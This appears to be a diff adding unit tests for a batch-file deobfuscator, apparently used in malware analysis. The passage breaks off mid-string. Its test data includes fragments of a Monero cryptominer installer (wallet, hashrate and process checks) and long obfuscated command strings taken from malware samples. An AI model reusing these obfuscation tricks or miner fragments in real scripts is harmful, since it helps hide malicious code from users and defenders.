|
| 1 | +import pytest |
| 2 | + |
| 3 | +from batch_deobfuscator.batch_interpreter import BatchDeobfuscator |
| 4 | + |
| 5 | + |
| 6 | +class TestUnittests: |
| 7 | + @staticmethod |
| 8 | + def test_simple_set(): |
| 9 | + deobfuscator = BatchDeobfuscator() |
| 10 | + deobfuscator.interpret_command("set WALLET=43DTEF92be6XcPj5Z7U") |
| 11 | + res = deobfuscator.normalize_command("echo %WALLET%") |
| 12 | + assert res == "echo 43DTEF92be6XcPj5Z7U" |
| 13 | + |
| 14 | + @staticmethod |
| 15 | + def test_variable_in_for(): |
| 16 | + deobfuscator = BatchDeobfuscator() |
| 17 | + deobfuscator.interpret_command("set WALLET=43DTEF92be6XcPj5Z7U") |
| 18 | + cmd = 'for /f "delims=." %%a in ("%WALLET%") do set WALLET_BASE=%%a' |
| 19 | + res = deobfuscator.normalize_command(cmd) |
| 20 | + assert res == 'for /f "delims=." %%a in ("43DTEF92be6XcPj5Z7U") do set WALLET_BASE=%%a' |
| 21 | + |
| 22 | + @staticmethod |
| 23 | + def test_unset_variable(): |
| 24 | + deobfuscator = BatchDeobfuscator() |
| 25 | + cmd = "echo ERROR: Wrong wallet address length (should be 106 or 95): %WALLET_BASE_LEN%" |
| 26 | + res = deobfuscator.normalize_command(cmd) |
| 27 | + assert res == "echo ERROR: Wrong wallet address length (should be 106 or 95): " |
| 28 | + |
| 29 | + @staticmethod |
| 30 | + def test_caret_pipe(): |
| 31 | + deobfuscator = BatchDeobfuscator() |
| 32 | + cmd1 = 'echo tasklist /fi "imagename eq jin.exe" ^| find ":" ^>NUL\n' |
| 33 | + cmd2 = [x for x in deobfuscator.get_commands(cmd1)] |
| 34 | + assert cmd2 == ['echo tasklist /fi "imagename eq jin.exe" ^| find ":" ^>NUL'] |
| 35 | + cmd3 = deobfuscator.normalize_command(cmd2[0]) |
| 36 | + assert cmd3 == 'echo tasklist /fi "imagename eq jin.exe" ^| find ":" ^>NUL' |
| 37 | + cmd4 = [x for x in deobfuscator.get_commands(cmd3)] |
| 38 | + assert cmd4 == ['echo tasklist /fi "imagename eq jin.exe" ^| find ":" ^>NUL'] |
| 39 | + |
| 40 | + @staticmethod |
| 41 | + def test_simple_set_a(): |
| 42 | + deobfuscator = BatchDeobfuscator() |
| 43 | + res = deobfuscator.normalize_command("echo %NUMBER_OF_PROCESSORS%") |
| 44 | + assert res == "echo 4" |
| 45 | + |
| 46 | + cmd = 'set /a "EXP_MONERO_HASHRATE = %NUMBER_OF_PROCESSORS% * 700 / 1000"' |
| 47 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 48 | + deobfuscator.interpret_command(cmd2) |
| 49 | + cmd3 = deobfuscator.normalize_command("echo %EXP_MONERO_HASHRATE%") |
| 50 | + assert cmd3 == "echo (4 * 700 / 1000)" |
| 51 | + |
| 52 | + @staticmethod |
| 53 | + @pytest.mark.parametrize( |
| 54 | + "var, echo, result", |
| 55 | + [ |
| 56 | + # Simple |
| 57 | + # No space |
| 58 | + ("set EXP=43", "echo *%EXP%*", "echo *43*"), |
| 59 | + ("set EXP=43", "echo *%EXP %*", "echo **"), |
| 60 | + ("set EXP=43", "echo *% EXP%*", "echo **"), |
| 61 | + ("set EXP=43", "echo *% EXP %*", "echo **"), |
| 62 | + # Space after var |
| 63 | + ("set EXP =43", "echo *%EXP%*", "echo **"), |
| 64 | + ("set EXP =43", "echo *%EXP %*", "echo *43*"), |
| 65 | + ("set EXP =43", "echo *% EXP%*", "echo **"), |
| 66 | + ("set EXP =43", "echo *% EXP %*", "echo **"), |
| 67 | + # Space after equal |
| 68 | + ("set EXP= 43", "echo *%EXP%*", "echo * 43*"), |
| 69 | + ("set EXP= 43", "echo *%EXP %*", "echo **"), |
| 70 | + ("set EXP= 43", "echo *% EXP%*", "echo **"), |
| 71 | + ("set EXP= 43", "echo *% EXP %*", "echo **"), |
| 72 | + # Space after value |
| 73 | + ("set EXP=43 ", "echo *%EXP%*", "echo *43 *"), |
| 74 | + ("set EXP=43 ", "echo *%EXP %*", "echo **"), |
| 75 | + ("set EXP=43 ", "echo *% EXP%*", "echo **"), |
| 76 | + ("set EXP=43 ", "echo *% EXP %*", "echo **"), |
| 77 | + # Space after var and after equal |
| 78 | + ("set EXP = 43", "echo *%EXP%*", "echo **"), |
| 79 | + ("set EXP = 43", "echo *%EXP %*", "echo * 43*"), |
| 80 | + ("set EXP = 43", "echo *% EXP%*", "echo **"), |
| 81 | + ("set EXP = 43", "echo *% EXP %*", "echo **"), |
| 82 | + # Double quote |
| 83 | + # Single quote for both var and value |
| 84 | + ("set \"'EXP=43'\"", "echo *%EXP%*", "echo **"), |
| 85 | + ("set \"'EXP=43'\"", "echo *%EXP %*", "echo **"), |
| 86 | + ("set \"'EXP=43'\"", "echo *% EXP%*", "echo **"), |
| 87 | + ("set \"'EXP=43'\"", "echo *% EXP %*", "echo **"), |
| 88 | + ("set \"'EXP=43'\"", "echo *%'EXP%*", "echo *43'*"), |
| 89 | + # Space after var |
| 90 | + ('set "EXP =43"', "echo *%EXP%*", "echo **"), |
| 91 | + ('set "EXP =43"', "echo *%EXP %*", "echo *43*"), |
| 92 | + ('set "EXP =43"', "echo *% EXP%*", "echo **"), |
| 93 | + ('set "EXP =43"', "echo *% EXP %*", "echo **"), |
| 94 | + # Space after equal |
| 95 | + ('set "EXP= 43"', "echo *%EXP%*", "echo * 43*"), |
| 96 | + ('set "EXP= 43"', "echo *%EXP %*", "echo **"), |
| 97 | + ('set "EXP= 43"', "echo *% EXP%*", "echo **"), |
| 98 | + ('set "EXP= 43"', "echo *% EXP %*", "echo **"), |
| 99 | + # Space after var and after equal |
| 100 | + ('set "EXP = 43"', "echo *%EXP%*", "echo **"), |
| 101 | + ('set "EXP = 43"', "echo *%EXP %*", "echo * 43*"), |
| 102 | + ('set "EXP = 43"', "echo *% EXP%*", "echo **"), |
| 103 | + ('set "EXP = 43"', "echo *% EXP %*", "echo **"), |
| 104 | + # Space before var, after var, after equal and after value |
| 105 | + ('set " EXP = 43 "', "echo *%EXP%*", "echo **"), |
| 106 | + ('set " EXP = 43 "', "echo *%EXP %*", "echo * 43 *"), |
| 107 | + ('set " EXP = 43 "', "echo *% EXP%*", "echo **"), |
| 108 | + ('set " EXP = 43 "', "echo *% EXP %*", "echo **"), |
| 109 | + # Single quote |
| 110 | + ("set \"EXP='43'\"", "echo *%EXP%*", "echo *'43'*"), |
| 111 | + ("set \"EXP=' 43'\"", "echo *%EXP%*", "echo *' 43'*"), |
| 112 | + ("set \"EXP =' 43'\"", "echo *%EXP %*", "echo *' 43'*"), |
| 113 | + ("set \"EXP = ' 43'\"", "echo *%EXP %*", "echo * ' 43'*"), |
| 114 | + ("set 'EXP=\"43\"'", "echo *%'EXP%*", 'echo *"43"\'*'), |
| 115 | + ("set \" EXP '=43 ' \" ", "echo *%EXP '%*", "echo *43 ' *"), |
| 116 | + # Double quote as value |
| 117 | + ('set EXP =43^"', "echo *%EXP %*", 'echo *43"*'), |
| 118 | + ('set EXP =43^"3', "echo *%EXP %*", 'echo *43"3*'), |
| 119 | + ('set "EXP=43^""', "echo *%EXP%*", 'echo *43"*'), |
| 120 | + ('set "EXP=43^"3"', "echo *%EXP%*", 'echo *43"3*'), |
| 121 | + ('set EXP=43^"^|', "echo *%EXP%*", 'echo *43"|*'), |
| 122 | + # Getting into really weird stuff |
| 123 | + ("set EXP=4=3", "echo *%EXP%*", "echo *4=3*"), |
| 124 | + ('set ""EXP=43"', 'echo *%"EXP%*', "echo *43*"), |
| 125 | + ('set ""EXP=4"3', 'echo *%"EXP%*', "echo *4*"), |
| 126 | + ('set """EXP=43"', "echo *%EXP%*", "echo **"), |
| 127 | + ('set """EXP=43"', 'echo *%""EXP%*', "echo *43*"), |
| 128 | + ('set "E^XP=43"', "echo *%EXP%*", "echo *43*"), |
| 129 | + ('set " ^"EXP=43"', 'echo *%^"EXP%*', "echo *43*"), |
| 130 | + ('set ^"EXP=43', "echo *%EXP%*", "echo *43*"), |
| 131 | + ('set E^"XP=43', 'echo *%E"XP%*', "echo *43*"), |
| 132 | + ('set E"XP=4"3', 'echo *%E"XP%*', 'echo *4"3*'), |
| 133 | + ('set E"XP=4^""3', 'echo *%E"XP%*', 'echo *4""3*'), |
| 134 | + ('set EXP^"=43', 'echo *%EXP"%*', "echo *43*"), |
| 135 | + ("set EXP=43^^", "echo *%EXP%*", "echo *43*"), |
| 136 | + ("set EXP=4^^3", "echo *%EXP%*", "echo *43*"), |
| 137 | + ("set EXP=43^^ ", "echo *%EXP%*", "echo *43 *"), |
| 138 | + ("set E^^XP=43", "echo *%E^XP%*", "echo *43*"), |
| 139 | + ('set ^"E^^XP=43"', "echo *%E^XP%*", "echo *43*"), |
| 140 | + ('set ^"E^^XP=43^"', "echo *%E^XP%*", "echo *43*"), |
| 141 | + ('set ^"E^^XP=43', "echo *%E^XP%*", "echo *43*"), |
| 142 | + ('set "E^^XP=43"', "echo *%E^^XP%*", "echo *43*"), |
| 143 | + ('set "E^^XP=43', "echo *%E^^XP%*", "echo *43*"), |
| 144 | + ('set E^"XP=4^"3', 'echo *%E"XP%*', 'echo *4"3*'), |
| 145 | + ('set ^"EXP=4^"3', "echo *%EXP%*", "echo *4*"), |
| 146 | + ('set ^"EXP= 4^"3', "echo *%EXP%*", "echo * 4*"), |
| 147 | + ('set ^"E^"XP=43"', 'echo *%E"XP%*', "echo *43*"), |
| 148 | + ('set ^"E^"XP=4^"3', 'echo *%E"XP%*', "echo *4*"), |
| 149 | + ('set ^"E"XP=4^"3"', 'echo *%E"XP%*', 'echo *4"3*'), |
| 150 | + ('set ^"E"XP=4^"3""', 'echo *%E"XP%*', 'echo *4"3"*'), |
| 151 | + ('set "E"XP=4^"3""', 'echo *%E"XP%*', 'echo *4"3"*'), |
| 152 | + ('set ^"E""XP=4^"3', 'echo *%E""XP%*', "echo *4*"), |
| 153 | + ('set "E^"XP=43"', 'echo *%E^"XP%*', "echo *43*"), |
| 154 | + ('set "E^"X"P=43"', 'echo *%E^"X"P%*', "echo *43*"), |
| 155 | + ('set E"E^"XP=43"', 'echo *%E"E^"XP%*', 'echo *43"*'), |
| 156 | + ('set E"E^"XP=43', 'echo *%E"E^"XP%*', "echo *43*"), |
| 157 | + ('set E^"E"X"P=43"', 'echo *%E"E"X"P%*', 'echo *43"*'), |
| 158 | + ('set E"E^"X"P=43"', 'echo *%E"E^"X"P%*', 'echo *43"*'), |
| 159 | + ("set ^|EXP=43", "echo *%|EXP%*", "echo *43*"), |
| 160 | + ("set EXP=43", "echo *%EXP:/=\\%*", "echo *43*"), |
| 161 | + ("set EXP=43/43", "echo *%EXP:/=\\%*", "echo *43\\43*"), |
| 162 | + ("set EXP=43", "echo *%EXP:\\=/%*", "echo *43*"), |
| 163 | + ("set EXP=43\\43", "echo *%EXP:\\=/%*", "echo *43/43*"), |
| 164 | + # TODO: Really, how should we handle that? |
| 165 | + # 'set ""EXP=43' |
| 166 | + # 'set' |
| 167 | + # 'set E' |
| 168 | + # 'set EXP' |
| 169 | + # 'set ^"E^"XP=43' |
| 170 | + # 'set ^"E""XP=43' |
| 171 | + # |
| 172 | + # option a |
| 173 | + ('set /a "EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 174 | + ('set /A "EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 175 | + ('SET /A "EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 176 | + ('SET /a "EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 177 | + ("set /a EXP = 4 * 700 / 1000", "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 178 | + ('set /a ^"EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 179 | + ('set /a ^"E^"XP = 4 * 700 / 1000^"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 180 | + ('set /a "EXP^" = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 181 | + ("set /a EX^^P = 4 * 700 / 1000", "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 182 | + ("set /a EX^P = 4 * 700 / 1000", "echo *%EXP%*", "echo *(4 * 700 / 1000)*"), |
| 183 | + ("set /a EXP = 4 * OTHER", "echo *%EXP%*", "echo *(4 * OTHER)*"), |
| 184 | + ("set/a EXP = 4 * 2", "echo *%EXP%*", "echo *(4 * 2)*"), |
| 185 | + ("set/AEXP=43", "echo *%EXP%*", "echo *(43)*"), |
| 186 | + ("set/AEXP=4 * 3", "echo *%EXP%*", "echo *(4 * 3)*"), |
| 187 | + # TODO: Really, how should we handle that? |
| 188 | + # 'set /a "EX|P = 4 * 700 / 1000' |
| 189 | + # "set /a EX|P = 4 * 700 / 1000" |
| 190 | + # "set /a EX^|P = 4 * 700 / 1000" |
| 191 | + # |
| 192 | + # option p |
| 193 | + ('set /p "EXP"="What is"', 'echo *%EXP"%*', "echo *__input__*"), |
| 194 | + ('set /p EXP="What is', "echo *%EXP%*", "echo *__input__*"), |
| 195 | + ("set /p EXP=What is", "echo *%EXP%*", "echo *__input__*"), |
| 196 | + ("SET /p EXP=What is", "echo *%EXP%*", "echo *__input__*"), |
| 197 | + ("SET /P EXP=What is", "echo *%EXP%*", "echo *__input__*"), |
| 198 | + ("set /P EXP=What is", "echo *%EXP%*", "echo *__input__*"), |
| 199 | + ('set /p EXP "=What is', 'echo *%EXP "%*', "echo *__input__*"), |
| 200 | + ('set /p EXP "=What is', 'echo *%EXP "%*', "echo *__input__*"), |
| 201 | + ('set /p "EXP =What is', "echo *%EXP %*", "echo *__input__*"), |
| 202 | + ('set /p "EXP ="What is"', "echo *%EXP %*", "echo *__input__*"), |
| 203 | + ('set /p E"XP =What is', 'echo *%E"XP %*', "echo *__input__*"), |
| 204 | + ('set /p E^"XP ="What is"', 'echo *%E"XP %*', "echo *__input__*"), |
| 205 | + ('set /p "E^"XP ="What is"', 'echo *%E^"XP %*', "echo *__input__*"), |
| 206 | + ('set /p E^"XP =What is', 'echo *%E"XP %*', "echo *__input__*"), |
| 207 | + ('set /p "E^|XP =What is', "echo *%E^|XP %*", "echo *__input__*"), |
| 208 | + ("set /p E^|XP =What is", "echo *%E|XP %*", "echo *__input__*"), |
| 209 | + ('set /p ^"EXP =What is', "echo *%EXP %*", "echo *__input__*"), |
| 210 | + ("set /p ^|EXP =What is", "echo *%|EXP %*", "echo *__input__*"), |
| 211 | + # TODO: Really, how should we handle that? |
| 212 | + # 'set /p "EXP "=What is' |
| 213 | + # 'set /p "E^"XP =What is' |
| 214 | + # What about some weird echo statement now? |
| 215 | + ("set EXP=43", "echo %EXP%", "echo 43"), |
| 216 | + ("set EXP=43", "echo !EXP!", "echo 43"), |
| 217 | + ("set EXP=43", "echo ^%EXP%", "echo 43"), |
| 218 | + ("set EXP=43", "echo ^!EXP!", "echo 43"), |
| 219 | + # ("set EXP=43", "echo ^%EX^P%", "echo 43"), # That's wrong... it actually prints the next line. Ignoring. |
| 220 | + ("set EXP=43", "echo ^!EX^P!", "echo 43"), |
| 221 | + # ("set EXP=43", "echo ^%EXP^%", "echo 43"), # That's wrong... it actually prints the next line. Ignoring. |
| 222 | + ("set EXP=43", "echo ^!EXP^!", "echo 43"), |
| 223 | + ], |
| 224 | + ) |
| 225 | + def test_set_command(var, echo, result): |
| 226 | + deobfuscator = BatchDeobfuscator() |
| 227 | + deobfuscator.interpret_command(var) |
| 228 | + res = deobfuscator.normalize_command(echo) |
| 229 | + assert res == result |
| 230 | + |
| 231 | + @staticmethod |
| 232 | + def test_clear_variable_with_set(): |
| 233 | + # If you specify only a variable and an equal sign (without <string>) for the set command, |
| 234 | + # the <string> value associated with the variable is cleared (as if the variable is not there). |
| 235 | + deobfuscator = BatchDeobfuscator() |
| 236 | + assert "exp" not in deobfuscator.variables |
| 237 | + res = deobfuscator.normalize_command("echo *%EXP%*") |
| 238 | + assert res == "echo **" |
| 239 | + deobfuscator.interpret_command("set EXP=43") |
| 240 | + assert "exp" in deobfuscator.variables |
| 241 | + res = deobfuscator.normalize_command("echo *%EXP%*") |
| 242 | + assert res == "echo *43*" |
| 243 | + deobfuscator.interpret_command("set EXP= ") |
| 244 | + assert "exp" in deobfuscator.variables |
| 245 | + res = deobfuscator.normalize_command("echo *%EXP%*") |
| 246 | + assert res == "echo * *" |
| 247 | + deobfuscator.interpret_command("set EXP=") |
| 248 | + assert "exp" not in deobfuscator.variables |
| 249 | + res = deobfuscator.normalize_command("echo *%EXP%*") |
| 250 | + assert res == "echo **" |
| 251 | + |
| 252 | + @staticmethod |
| 253 | + @pytest.mark.skip() |
| 254 | + def test_beautify_strlen_function(): |
| 255 | + # Figure out if it translate somewhat correctly, and how to make it more readable after processing |
| 256 | + # Taken from 6c46550db4dcb3f5171c69c5f1723362f99ec0f16f6d7ab61b6f8d169a6e6bc8 |
| 257 | + """ |
| 258 | + ":strlen string len" |
| 259 | + "setlocal EnableDelayedExpansion" |
| 260 | + 'set "token=#%~1" & set "len=0"' |
| 261 | + "for /L %%A in (12,-1,0) do (" |
| 262 | + ' set/A "len|=1<<%%A"' |
| 263 | + ' for %%B in (!len!) do if "!token:~%%B,1!"=="" set/A "len&=~1<<%%A"' |
| 264 | + ")" |
| 265 | + """ |
| 266 | + |
| 267 | + @staticmethod |
| 268 | + @pytest.mark.parametrize( |
| 269 | + "statement, commands", |
| 270 | + [ |
| 271 | + ('IF "A"=="A" echo AAA', ['IF "A"=="A" (', "echo AAA", ")"]), |
| 272 | + ('IF "A"=="A" (echo AAA)', ['IF "A"=="A" (', "echo AAA", ")"]), |
| 273 | + ('IF "A"=="A" (echo AAA) ELSE echo BBB', ['IF "A"=="A" (', "echo AAA", ") ELSE (", "echo BBB", ")"]), |
| 274 | + ( |
| 275 | + 'echo ABC && IF "A"=="A" (echo AAA) ELSE echo BBB', |
| 276 | + ["echo ABC", 'IF "A"=="A" (', "echo AAA", ") ELSE (", "echo BBB", ")"], |
| 277 | + ), |
| 278 | + ( |
| 279 | + 'echo ABC && IF "A"=="A" (echo AAA) ELSE (echo BBB)', |
| 280 | + ["echo ABC", 'IF "A"=="A" (', "echo AAA", ") ELSE (", "echo BBB", ")"], |
| 281 | + ), |
| 282 | + ( |
| 283 | + 'IF EXIST "%USERPROFILE%\\jin" GOTO REMOVE_DIR1', |
| 284 | + ['IF EXIST "%USERPROFILE%\\jin" (', "GOTO REMOVE_DIR1", ")"], |
| 285 | + ), |
| 286 | + ( |
| 287 | + "IF defined EXP (echo Defined) ELSE (echo Undef)", |
| 288 | + ["IF defined EXP (", "echo Defined", ") ELSE (", "echo Undef", ")"], |
| 289 | + ), |
| 290 | + ( |
| 291 | + "if %EXP% gtr 8192 ( set PORT=18192 & goto PORT_OK )", |
| 292 | + ["if %EXP% gtr 8192 (", " set PORT=18192", "goto PORT_OK )"], |
| 293 | + ), |
| 294 | + ("if %EXP% gtr 8192 (", ["if %EXP% gtr 8192 ("]), |
| 295 | + ( |
| 296 | + "if %errorLevel% == 0 (set ADMIN=1) else (set ADMIN=0)", |
| 297 | + ["if %errorLevel% == 0 (", "set ADMIN=1", ") else (", "set ADMIN=0", ")"], |
| 298 | + ), |
| 299 | + ( |
| 300 | + 'if exist "%USERPROFILE%\\Start Menu\\Programs" (echo AAA)', |
| 301 | + ['if exist "%USERPROFILE%\\Start Menu\\Programs" (', "echo AAA", ")"], |
| 302 | + ), |
| 303 | + ( |
| 304 | + 'if exist "%USERPROFILE%\\Start Menu\\Programs" echo AAA', |
| 305 | + ['if exist "%USERPROFILE%\\Start Menu\\Programs" (', "echo AAA", ")"], |
| 306 | + ), |
| 307 | + ( |
| 308 | + "if [%var%]==[value] echo AAA", |
| 309 | + ["if [%var%]==[value] (", "echo AAA", ")"], |
| 310 | + ), |
| 311 | + ( |
| 312 | + 'if "%var%"==[value] echo AAA', |
| 313 | + ['if "%var%"==[value] (', "echo AAA", ")"], |
| 314 | + ), |
| 315 | + ], |
| 316 | + ) |
| 317 | + def test_if_statements(statement, commands): |
| 318 | + deobfuscator = BatchDeobfuscator() |
| 319 | + assert [x for x in deobfuscator.get_commands(statement)] == commands |
| 320 | + |
| 321 | + @staticmethod |
| 322 | + def test_single_quote_var_name_rewrite_1(): |
| 323 | + deobfuscator = BatchDeobfuscator() |
| 324 | + |
| 325 | + cmd = "%os:~-4,1%%comspec:~-1,1%%comspec:~14,1%%commonprogramfiles:~-6,1%'=^^^1^^^\\^^^)%comspec:~-13,1%u^^^,^^^%pathext:~31,1%b^^^8%commonprogramfiles:~9,1%^^^^^^^/v^^^&^^^U%os:~-9,1%^^^%pathext:~6,1%k%programfiles:~-12,1%p^^^[^^^*^^^@^^^~%programfiles:~-8,1%^^^%pathext:~11,1%q%comspec:~-14,1%^^^%commonprogramfiles:~24,1%^^^R^^^%pathext:~12,1%^^^0f^^^I^^^%comspec:~-9,1%^^^{^^^$%comspec:~-7,1%^^^K%programfiles:~-2,1%^^^7^^^9z%commonprogramfiles:~-11,1%^^^G^^^%os:~9,1%^^^L^^^=^^^(%commonprogramfiles:~-16,1%^^^%commonprogramfiles:~-12,1%h%comspec:~-15,1%^^^6^^^%commonprogramfiles:~10,1%^^^\"^^^Q^^^_^^^%pathext:~2,1%j^^^`%commonprogramfiles:~6,1%^^^Y^^^]^^^+^^^%pathext:~18,1%^^^-^^^%pathext:~26,1%^^^|^^^%comspec:~17,1%^^^%pathext:~7,1%^^^<%commonprogramfiles:~22,1%^^^%pathext:~17,1%^^^;^^^%os:~-10,1%^^^%os:~8,1%^^^%pathext:~41,1%^^^>^^^}^^^#^^^'%os:~-7,1%^^^.^^^5%os:~5,1%^^^4^^^:^^^%programfiles:~3,1%^^^%pathext:~47,1%%comspec:~25,1%^^^?^^^Z" # noqa: E501 |
| 326 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 327 | + deobfuscator.interpret_command(cmd2) |
| 328 | + assert deobfuscator.variables["'"].startswith("^1^\\^)tu^") |
| 329 | + |
| 330 | + cmd = "%':~43,1%%':~-96,1%%':~6,1%" |
| 331 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 332 | + assert cmd2 == "set" |
| 333 | + |
| 334 | + cmd = "echo AAA%':~-138,1%%':~43,1%%':~-96,1%%':~6,1%%':~89,1%%':~-20,1%%':~-82,1%abbbc%':~-138,1%set mj=kx" |
| 335 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 336 | + for cmd in deobfuscator.get_commands(cmd2): |
| 337 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 338 | + deobfuscator.interpret_command(cmd2) |
| 339 | + assert deobfuscator.variables["'"] == "abbbc" |
| 340 | + |
| 341 | + @staticmethod |
| 342 | + @pytest.mark.parametrize( |
| 343 | + "cmd, result", |
| 344 | + [ |
| 345 | + ("echo %0", "echo script.bat"), |
| 346 | + ("echo %1", "echo "), |
| 347 | + ("echo %~0", "echo script.bat"), |
| 348 | + ("echo %~1", "echo "), |
| 349 | + ("echo %~s0", "echo script.bat"), |
| 350 | + ("echo %~s1", "echo "), |
| 351 | + ("echo %~f0", "echo script.bat"), |
| 352 | + ("echo %~f1", "echo "), |
| 353 | + ("echo %~d0", "echo script.bat"), |
| 354 | + ("echo %~d1", "echo "), |
| 355 | + ("echo %~p0", "echo script.bat"), |
| 356 | + ("echo %~p1", "echo "), |
| 357 | + ("echo %~z0", "echo script.bat"), |
| 358 | + ("echo %~z1", "echo "), |
| 359 | + ("echo %~a0", "echo script.bat"), |
| 360 | + ("echo %~a1", "echo "), |
| 361 | + # ("echo %~xsa0", "echo script.bat"), |
| 362 | + # ("echo %~xsa1", "echo "), |
| 363 | + ("echo %3c%3%A", "echo cA"), |
| 364 | + ("echo %3c%3%A%", "echo c"), |
| 365 | + ("echo %*", "echo "), |
| 366 | + ("echo %*a", "echo a"), |
| 367 | + ], |
| 368 | + ) |
| 369 | + def test_args(cmd, result): |
| 370 | + deobfuscator = BatchDeobfuscator() |
| 371 | + |
| 372 | + res = deobfuscator.normalize_command(cmd) |
| 373 | + assert res == result |
| 374 | + |
| 375 | + @staticmethod |
| 376 | + def test_args_with_var(): |
| 377 | + deobfuscator = BatchDeobfuscator() |
| 378 | + |
| 379 | + cmd = "set A=123" |
| 380 | + deobfuscator.interpret_command(cmd) |
| 381 | + |
| 382 | + cmd = "echo %3c%3%A%" |
| 383 | + res = deobfuscator.normalize_command(cmd) |
| 384 | + assert res == "echo c123" |
| 385 | + |
| 386 | + cmd = "echo %0%A%" |
| 387 | + res = deobfuscator.normalize_command(cmd) |
| 388 | + assert res == "echo script.bat123" |
| 389 | + |
| 390 | + @staticmethod |
| 391 | + def test_single_quote_var_name_rewrite_2(): |
| 392 | + # Taken from 8d20c8a8104f29e7ec2ff158103fa73d3e9d357b646e2ff0487b880ab6462643 |
| 393 | + deobfuscator = BatchDeobfuscator() |
| 394 | + |
| 395 | + cmd = "%os:~-4,1%%comspec:~-1,1%%comspec:~14,1%%commonprogramfiles:~-6,1%'=^^^1^^^\\^^^)%comspec:~-13,1%u^^^,^^^%pathext:~31,1%b^^^8%commonprogramfiles:~9,1%^^^^^^^/v^^^&^^^U%os:~-9,1%^^^%pathext:~6,1%k%programfiles:~-12,1%p^^^[^^^*^^^@^^^~%programfiles:~-8,1%^^^%pathext:~11,1%q%comspec:~-14,1%^^^%commonprogramfiles:~24,1%^^^R^^^%pathext:~12,1%^^^0f^^^I^^^%comspec:~-9,1%^^^{^^^$%comspec:~-7,1%^^^K%programfiles:~-2,1%^^^7^^^9z%commonprogramfiles:~-11,1%^^^G^^^%os:~9,1%^^^L^^^=^^^(%commonprogramfiles:~-16,1%^^^%commonprogramfiles:~-12,1%h%comspec:~-15,1%^^^6^^^%commonprogramfiles:~10,1%^^^\"^^^Q^^^_^^^%pathext:~2,1%j^^^`%commonprogramfiles:~6,1%^^^Y^^^]^^^+^^^%pathext:~18,1%^^^-^^^%pathext:~26,1%^^^|^^^%comspec:~17,1%^^^%pathext:~7,1%^^^<%commonprogramfiles:~22,1%^^^%pathext:~17,1%^^^;^^^%os:~-10,1%^^^%os:~8,1%^^^%pathext:~41,1%^^^>^^^}^^^#^^^'%os:~-7,1%^^^.^^^5%os:~5,1%^^^4^^^:^^^%programfiles:~3,1%^^^%pathext:~47,1%%comspec:~25,1%^^^?^^^Z" # noqa: E501 |
| 396 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 397 | + deobfuscator.interpret_command(cmd2) |
| 398 | + |
| 399 | + cmd = "%':~-124,1%%':~43,1%%':~-96,1%%':~6,1%%':~89,1%%':~-20,1%%':~-82,1%%':~17,1%%':~-69,1%%':~134,1%%':~122,1%%':~7,1%%':~-79,1%%':~-138,1%%':~36,1%%':~-117,1%%':~-96,1%%':~-154,1%%':~-71,1%%':~-67,1%%':~54,1%%':~-67,1%%':~-121,1%%':~154,1%%':~78,1%%':~130,1%%':~-132,1%%':~-138,1%%':~-124,1%%':~-117,1%%':~64,1%%':~6,1%%':~89,1%%':~12,1%%':~47,1%%':~42,1%%':~-96,1%%':~28,1%%':~78,1%%':~15,1%%':~24,1%%':~-132,1%%':~39,1%%':~47,1%%':~22,1%%':~-124,1%%':~25,1%%':~52,1%%':~-71,1%!'!%':~89,1%%':~122,1%%':~64,1%%':~-118,1%%':~89,1%%':~-143,1%%':~-69,1%%':~89,1%%':~80,1%%':~-124,1%%':~-96,1%%':~-99,1%%':~84,1%%':~70,1%%':~143,1%%':~-26,1%%0 %':~-138,1%%':~36,1%%':~43,1%%':~-96,1%%':~-154,1%%':~-71,1%%':~103,1%%':~20,1%%':~-130,1%%':~-36,1%%':~78,1%%':~45,1%%':~-149,1%%':~-106,1%%':~22,1%%':~36,1%%':~-117,1%%':~84,1%%':~-153,1%%':~6,1%%':~141,1%%':~-90,1%%':~-14,1%%':~122,1%%':~-71,1%%':~19,1%%':~43,1%%':~89,1%%':~-141,1%%':~-108,1%%':~-71,1%%':~19,1%%':~-154,1%%':~89,1%%':~51,1%%':~22,1%%':~36,1%%':~-96,1%%':~-5,1%%':~-135,1%%':~6,1%%':~5,1%%':~-71,1%%':~-96,1%%':~81,1%%':~-117,1%%':~64,1%%':~-71,1%%':~80,1%%':~36,1%%':~-99,1%%':~-79,1%%':~-117,1%%':~-155,1%%':~22,1%%':~36,1%%':~-96,1%%':~-38,1%%':~-19,1%%':~-79,1%%':~70,1%%':~-99,1%%':~39,1%%':~81,1%%':~-138,1%%':~36,1%%':~-117,1%%':~64,1%%':~-154,1%%':~89,1%%':~-113,1%%':~42,1%%':~98,1%%':~-82,1%%':~12,1%%':~24,1%%':~15,1%%':~-149,1%%':~22,1%%':~36,1%%':~43,1%%':~-96,1%%':~-154,1%%':~89,1%%':~-20,1%%':~-82,1%%':~-79,1%%':~17,1%%':~17,1%%':~17,1%%':~-28,1%%':~61,1%%':~-143,1%%':~17,1%%':~17,1%%':~-94,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~-63,1%%':~17,1%%':~-143,1%%':~17,1%%':~87,1%%':~-14,1%%':~17,1%%':~17,1%%':~17,1%%':~124,1%%':~141,1%%':~-143,1%%':~17,1%%':~-143,1%%':~138,1%%':~17,1%%':~17,1%%':~17,1%%':~36,1%%':~-143,1%%':~17,1%%':~17,1%%':~-100,1%%':~-143,1%%':~17,1%%':~17,1%%':~-136,1%%':~17,1%%':~17,1%%':~17,1%%':~-34,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~95,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~-88,1%%':~-143,1%%':~-143,1%%':~